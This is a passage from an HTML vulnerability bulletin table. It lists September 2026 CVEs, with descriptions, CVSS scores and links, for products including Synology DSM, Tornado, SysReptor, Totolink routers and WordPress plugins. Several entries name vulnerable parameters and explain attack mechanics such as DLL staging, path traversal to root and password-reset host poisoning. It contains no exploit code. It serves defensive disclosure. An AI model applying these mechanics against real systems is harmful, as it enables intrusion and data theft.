&lt;td class=&quot;vendor-product&quot;&gt;subhajitkhan--online-clinic-management-system&lt;/td&gt;
&lt;td&gt;A flaw has been found in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. Affected by this vulnerability is the function session_start of the file adminappview.php. Executing a manipulation of the argument adminmail can lead to authorization bypass. The attack may be launched remotely. The exploit has been published and may be used. This product operates on a rolling release basis, ensuring continuous delivery. Consequently, there are no version details for either affected or updated releases. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90858&quot; target=&quot;_blank&quot;&gt;CVE-2026-90858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sublime HQ Pty Ltd--Sublime Text 4&lt;/td&gt;
&lt;td&gt;Sublime Text for Windows through Build 4192 (Sublime Text 4) and Build 3207 (Sublime Text 3) contains a local privilege escalation vulnerability that allows unprivileged local attackers to execute arbitrary code with elevated privileges by abusing the update staging mechanism. Attackers can place a malicious DLL in the user-writable staging directory under %LOCALAPPDATA%, mark it read-only to bypass cleanup, and have the elevated installer copy it into the protected installation directory, causing the DLL to execute in the context of any higher-privileged user who subsequently launches the application.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7006&quot; target=&quot;_blank&quot;&gt;CVE-2026-7006&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;superweby--Migratico Lite&lt;/td&gt;
&lt;td&gt;Unauthenticated Remote Code Execution (RCE) in Migratico Lite &amp;lt;= 2.6.8 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62104&quot; target=&quot;_blank&quot;&gt;CVE-2026-62104&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;supremainc--BioStar 2&lt;/td&gt;
&lt;td&gt;An issue in the /api/v2/setting/adserversetting endpoint of Suprema BioStar 2 before 2.9.12 and and BioStar X before 1.0.2 allows attackers to obtain Active Directory service account credentials in cleartext by supplying a crafted GET request.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-31278&quot; target=&quot;_blank&quot;&gt;CVE-2026-31278&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sveltejs--devalue&lt;/td&gt;
&lt;td&gt;Svelte devalue is a JavaScript library that serializes values into strings when JSON.stringify isn&#039;t sufficient for the job. In versions 5.1.0 through 5.9.2, stringify and uneval functions serialize a typed array by emitting its entire backing ArrayBuffer rather than only the view, so serializing a Node Buffer, whose backing store is a process-wide shared pool, discloses up to 64 KB of unrelated process memory, including bytes from other in-flight requests. In a server-side-rendered framework such as SvelteKit or Nuxt, a public page whose load() returns a small Buffer, or that reads a small file, can therefore ship another user&#039;s request body or Authorization header in its HTML without authentication. Because this occurs during serialization, it fires on every such render and is not mitigated by the parse/unflatten prototype-pollution and denial-of-service guards, which only apply when parsing untrusted input. As a workaround, convert Node Buffer objects to Uint8Array before serialization. This issue has been fixed in version 5.9.3.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92708&quot; target=&quot;_blank&quot;&gt;CVE-2026-92708&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An insufficient entropy vulnerability in login logic in Synology DiskStation Manager (DSM) before 7.2.1-69057-12, 7.2.2-72806-9, 7.3.2-86009-4 and 7.4-90075 allows remote attackers to read or write arbitrary files and conduct denial-of-service attacks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13639&quot; target=&quot;_blank&quot;&gt;CVE-2026-13639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An improper encoding or escaping of output vulnerability in SCGI in Synology DiskStation Manager (DSM) before 7.2.1-69057-12, 7.2.2-72806-9, 7.3.2-86009-4 and 7.4-90075 allows remote attackers to read or write arbitrary files and conduct denial-of-service attacks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13684&quot; target=&quot;_blank&quot;&gt;CVE-2026-13684&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An incorrect permission assignment for critical resource vulnerability in LDAP API in Synology DiskStation Manager (DSM) before 7.2.1-69057-12, 7.2.2-72806-9, 7.3.2-86009-4 and 7.4-90075 allows remote authenticated users to read or write arbitrary files and conduct denial-of-service attacks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13673&quot; target=&quot;_blank&quot;&gt;CVE-2026-13673&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An improper neutralization of CRLF sequences (&#039;CRLF injection&#039;) vulnerability in User API in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows remote authenticated users to read or write arbitrary files and conduct denial-of-service attacks after the system is rebooted.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40530&quot; target=&quot;_blank&quot;&gt;CVE-2026-40530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An external control of file name or path vulnerability in Upload API in Synology DiskStation Manager (DSM) before 7.2.1-69057-12, 7.2.2-72806-9, 7.3.2-86009-4 and 7.4-90075 allows remote authenticated users to write arbitrary files and conduct denial-of-service attacks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6205&quot; target=&quot;_blank&quot;&gt;CVE-2026-6205&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Synology--DiskStation Manager (DSM)&lt;/td&gt;
&lt;td&gt;An improper certificate validation vulnerability in Email API in Synology DiskStation Manager (DSM) before 7.2.1-69057-10, 7.2.2-72806-7 and 7.3.2-86009-2 allows man-in-the-middle attackers to read or write arbitrary files and conduct denial-of-service attacks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-40539&quot; target=&quot;_blank&quot;&gt;CVE-2026-40539&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Syslifters--sysreptor&lt;/td&gt;
&lt;td&gt;SysReptor is a fully customizable pentest reporting platform. Prior to 2026.58, installations that enable password reset by email while configuring ALLOWED_HOSTS with a wildcard accept an attacker-controlled Host header when generating a password reset link. An unauthenticated attacker can request a reset email whose link points to an attacker-controlled system, and a victim who follows that link can disclose the reset token, allowing the attacker to reset the victim&#039;s password and take over the account. Exploitation also requires a configured email gateway and an email address for the victim, while some reverse proxy configurations may reject the hostile Host header. This issue is fixed in version 2026.58.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81179&quot; target=&quot;_blank&quot;&gt;CVE-2026-81179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Syslifters--sysreptor&lt;/td&gt;
&lt;td&gt;SysReptor is a fully customizable pentest reporting platform. Prior to 2026.61, authenticated users of SysReptor Professional can upload image files whose formats cause image processing to invoke Ghostscript, allowing embedded PostScript to operate in the shared temporary directory. An attacker can combine that behavior with a race involving GnuPG configuration files in temporary subdirectories to cause GnuPG to copy attacker-controlled Python code into the application code directory. The injected code executes with the privileges of the SysReptor application process after a worker restart. The Community edition is not affected. Version 2026.58 contains a partial mitigation, and this issue is fully fixed in version 2026.61.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81180&quot; target=&quot;_blank&quot;&gt;CVE-2026-81180&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;taisan--tarzan-cms&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in taisan tarzan-cms 1.0.0. This issue affects the function openConnection of the file com/tarzan/cms/modules/admin/service/biz/ThemeService.java of the component Theme Download Function. Executing a manipulation of the argument httpUrl can lead to server-side request forgery. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90710&quot; target=&quot;_blank&quot;&gt;CVE-2026-90710&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Asset&lt;/td&gt;
&lt;td&gt;Tanium addressed a SQL injection vulnerability in Asset.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86865&quot; target=&quot;_blank&quot;&gt;CVE-2026-86865&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Asset&lt;/td&gt;
&lt;td&gt;Tanium addressed a SQL injection vulnerability in Asset.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87024&quot; target=&quot;_blank&quot;&gt;CVE-2026-87024&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tanium--Threat Response&lt;/td&gt;
&lt;td&gt;Tanium addressed a SQL injection vulnerability in Threat Response.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87105&quot; target=&quot;_blank&quot;&gt;CVE-2026-87105&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TDuckCloud--tduck-survey-form&lt;/td&gt;
&lt;td&gt;TDuck survey form through version 5.3 fails to validate webhook URLs or verify form ownership in the WebhookConfigController. Authenticated attackers can attach webhooks to other users&#039; forms and exfiltrate submissions to arbitrary external or internal addresses.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92602&quot; target=&quot;_blank&quot;&gt;CVE-2026-92602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TECHIN2B--TECHIN2B Application&lt;/td&gt;
&lt;td&gt;Authorization bypass through User-Controlled key vulnerability in TECHIN2B TECHIN2B Application allows Privilege Abuse. This issue affects TECHIN2B Application: from V1.0.7676.13 through 18092026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12384&quot; target=&quot;_blank&quot;&gt;CVE-2026-12384&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;TehShrike--deepmerge&lt;/td&gt;
&lt;td&gt;deepmerge through 4.3.1 contains a prototype poisoning vulnerability in the mergeObject() function that fails to properly validate keys being written to target objects. Attackers can supply malicious source objects in merge operations to inject attacker-controlled properties into the returned object&#039;s prototype, causing applications to inherit unintended values when accessing properties without own-property checks.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93753&quot; target=&quot;_blank&quot;&gt;CVE-2026-93753&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tektoncd--pipelines-as-code&lt;/td&gt;
&lt;td&gt;Pipelines-as-Code is a CI/CD system that lets users define Tekton pipelines in source code repositories. Prior to 0.37.8, 0.39.6, 0.42.1, and 0.48.0, the GitHub App provider accepts X-GitHub-Enterprise-Host as the API host while processing webhook events containing an installation.id, before webhook signature validation or confirmation that the host matches the repository URL in the signed payload. An unauthenticated attacker who can reach the webhook endpoint can select an attacker-controlled host and cause the controller to send a locally signed GitHub App JWT to that service. The exposed JWT may be used to attempt to mint installation access tokens during its validity window, subject to the GitHub App installation and permissions. The incoming webhook installation-lookup path is also affected, but exploitation of that path requires the valid incoming webhook secret for the target Repository CR. This issue is fixed in versions 0.37.8, 0.39.6, 0.42.1, and 0.48.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54167&quot; target=&quot;_blank&quot;&gt;CVE-2026-54167&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tencent--Mass Service Engine in Cluster (MSEC)&lt;/td&gt;
&lt;td&gt;Tencent Mass Service Engine in Cluster (MSEC) allows a remote, unauthenticated attacker to send a crafted POST request including ../ and gain root access on the target device. An attacker who uploads a webshell can execute arbitrary code as root.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89040&quot; target=&quot;_blank&quot;&gt;CVE-2026-89040&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Tenda--W20E&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Tenda W20E 15.11.0.61068_1546_841_CN_TDC. Impacted is the function formDelWebAuthWhiteUser. Performing a manipulation of the argument webAuthWhiteUserIndex results in stack-based buffer overflow. The attack can be initiated remotely.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90689&quot; target=&quot;_blank&quot;&gt;CVE-2026-90689&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;The GNU C Library--glibc&lt;/td&gt;
&lt;td&gt;Calling strfmon and strfmon_l in the GNU C Library version 2.38 to 2.44 can write past the end of the caller-supplied output buffer when a conversion uses right-justified width padding. Exploitation requires an application code path that calls strfmon or strfmon_l with right-justified width padding into a destination buffer that is large enough for the padding to succeed but too small for the internal memmove call. The field width or format may be attacker-influenced or a fixed susceptible pattern in the caller. At the time of publication, no network-facing application impact is known.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19499&quot; target=&quot;_blank&quot;&gt;CVE-2026-19499&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ThemeAtelier--Domain For Sale&lt;/td&gt;
&lt;td&gt;ThemeAtelier Domain For Sale plugin for WordPress before 3.5.2 contains a missing authorization vulnerability in its REST API endpoints that allows unauthenticated attackers to access and manipulate protected resources. Attackers can retrieve stored offer records, delete arbitrary offers by numeric identifier, and access dashboard statistics to disclose bidder contact information, offer details, messages, verification tokens, and business data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89023&quot; target=&quot;_blank&quot;&gt;CVE-2026-89023&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;themetechmount--TrueBooker Appointment Booking and Scheduler System&lt;/td&gt;
&lt;td&gt;The TrueBooker - Appointment Booking and Scheduler System plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.2.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to modify the email address of arbitrary user accounts, including administrators, which can be leveraged to reset the account&#039;s password and gain access to it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14349&quot; target=&quot;_blank&quot;&gt;CVE-2026-14349&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Themeum--WP Mega Menu&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Special Elements used in an SQL Command (&#039;SQL Injection&#039;) vulnerability in Themeum WP Mega Menu allows Blind SQL Injection. This issue affects WP Mega Menu: from n/a through 1.4.2.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92465&quot; target=&quot;_blank&quot;&gt;CVE-2026-92465&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;theopolis--uefi-firmware-parser&lt;/td&gt;
&lt;td&gt;UEFI Firmware Parser parses BIOS, Intel ME, and UEFI firmware structures including volumes, file systems, and files. Prior to 1.14, MakeTable() in uefi_firmware/compression/Tiano/Decompress.c does not validate that bit-length values read from a crafted Tiano or EFI compressed firmware bitstream remain within the expected range from 0 through 16. The normal CompressedSection.process() to efi_compressor.TianoDecompress() to TianoDecompress() to ReadPTLen() to MakeTable() parsing path can consequently write beyond the stack-allocated Count[17] array and related decode tables. The resulting stack corruption deterministically crashes the parsing process and may permit code execution depending on build and runtime details. This issue is fixed in version 1.14.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54333&quot; target=&quot;_blank&quot;&gt;CVE-2026-54333&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;theopolis--uefi-firmware-parser&lt;/td&gt;
&lt;td&gt;UEFI Firmware Parser parses BIOS, Intel ME, and UEFI firmware structures including volumes, file systems, and files. Prior to 1.14, ReadCLen() in uefi_firmware/compression/Tiano/Decompress.c reads Number from GetBits(Sd, CBIT) with CBIT = 9 and can obtain 511 entries for the 510-element Sd-&amp;gt;mCLen heap array because its loop does not enforce Index &amp;lt; NC. The CharC == 2 run-length path can additionally request up to 531 zero writes through Sd-&amp;gt;mCLen[Index++] = 0. The normal CompressedSection.process() to efi_compressor.TianoDecompress() to TianoDecompress() to DecodeC() to ReadCLen() parsing path therefore permits crafted Tiano or EFI compressed firmware to corrupt heap memory, deterministically crash the parsing process, and potentially execute code depending on build and runtime details. This issue is fixed in version 1.14.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54334&quot; target=&quot;_blank&quot;&gt;CVE-2026-54334&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Thinking Software Technology--EFence&lt;/td&gt;
&lt;td&gt;EFence developed by Thinking Software Technology has a SQL Injection vulnerability, allowing unauthenticated remote attackers to inject arbitrary SQL commands to read database contents.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89180&quot; target=&quot;_blank&quot;&gt;CVE-2026-89180&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tinacms--tinacms&lt;/td&gt;
&lt;td&gt;Tina is a headless content management system. Prior to @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1, isAuthorized accepts a request-controlled clientID and asks isUserAuthorized to validate the bearer token against that selected TinaCloud app instead of the self-hosted site&#039;s configured app. An attacker with any TinaCloud account can submit the attacker&#039;s own app ID and valid token to a victim endpoint, causing TinaCloudBackendAuthProvider or an affected media authorized callback to accept the attacker&#039;s verified status across the tenant boundary. The vulnerable logic is present in packages/@tinacms/auth/src/index.ts and packages/next-tinacms-azure/src/auth.ts. Successful exploitation permits media listing, reading, upload, or deletion and, when TinaCloudBackendAuthProvider is used, GraphQL read, create, update, and delete operations on the victim&#039;s content without a victim account or victim interaction. This vulnerability is fixed in @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63506&quot; target=&quot;_blank&quot;&gt;CVE-2026-63506&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;To Do List Member--To Do List Member&lt;/td&gt;
&lt;td&gt;The To Do List Member WordPress plugin from 1.4 through 1.6 ships a file upload endpoint that does not load WordPress and therefore applies no authentication, capability or nonce check of any kind, and validates only the name of an uploaded file rather than its content, allowing unauthenticated users to store active content served from the site&#039;s own origin, and to list and delete the files already staged there.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86801&quot; target=&quot;_blank&quot;&gt;CVE-2026-86801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tornadoweb--tornado&lt;/td&gt;
&lt;td&gt;Tornado before 6.3.3 contains an HTTP request smuggling vulnerability due to improper parsing of Content-Length headers accepting non-standard characters. Attackers can send crafted HTTP requests with these characters to bypass proxy validation and smuggle requests when deployed behind certain proxies.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2023-54397&quot; target=&quot;_blank&quot;&gt;CVE-2023-54397&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tornadoweb--tornado&lt;/td&gt;
&lt;td&gt;Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2024-14029&quot; target=&quot;_blank&quot;&gt;CVE-2024-14029&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;tornadoweb--tornado&lt;/td&gt;
&lt;td&gt;Tornado before 6.5.8 contains a memory amplification vulnerability in parse_multipart_form_data that splits multipart data before validating the max_parts limit. Attackers can send crafted multipart requests with many parts to create large transient lists, exhausting server memory and causing denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91990&quot; target=&quot;_blank&quot;&gt;CVE-2026-91990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Totolink--A3002MU&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in Totolink A3002MU Hh-B20211125.1046. Affected is the function formWlEncrypt of the file /boafrm/formWlEncrypt. The manipulation of the argument submit-url leads to buffer overflow. It is possible to initiate the attack remotely. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93740&quot; target=&quot;_blank&quot;&gt;CVE-2026-93740&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Totolink--A3002MU&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Totolink A3002MU Hh-B20211125.1046. Affected by this vulnerability is the function formWlWds of the file /boafrm/formWlWds. The manipulation of the argument submit-url results in buffer overflow. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93741&quot; target=&quot;_blank&quot;&gt;CVE-2026-93741&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Totolink--A3002MU&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in Totolink A3002MU Hh-B20211125.1046. Impacted is the function formNewSchedule of the file /boafrm/formNewSchedule of the component boa. The manipulation of the argument submit-url results in buffer overflow. The attack may be performed from remote. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90607&quot; target=&quot;_blank&quot;&gt;CVE-2026-90607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Totolink--A3002MU&lt;/td&gt;
&lt;td&gt;A flaw has been found in Totolink A3002MU Hh-B20211125.1046. The affected element is the function formPortFw of the file /boafrm/formPortFw of the component boa. This manipulation of the argument service_type causes buffer overflow. It is possible to initiate the attack remotely. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90608&quot; target=&quot;_blank&quot;&gt;CVE-2026-90608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
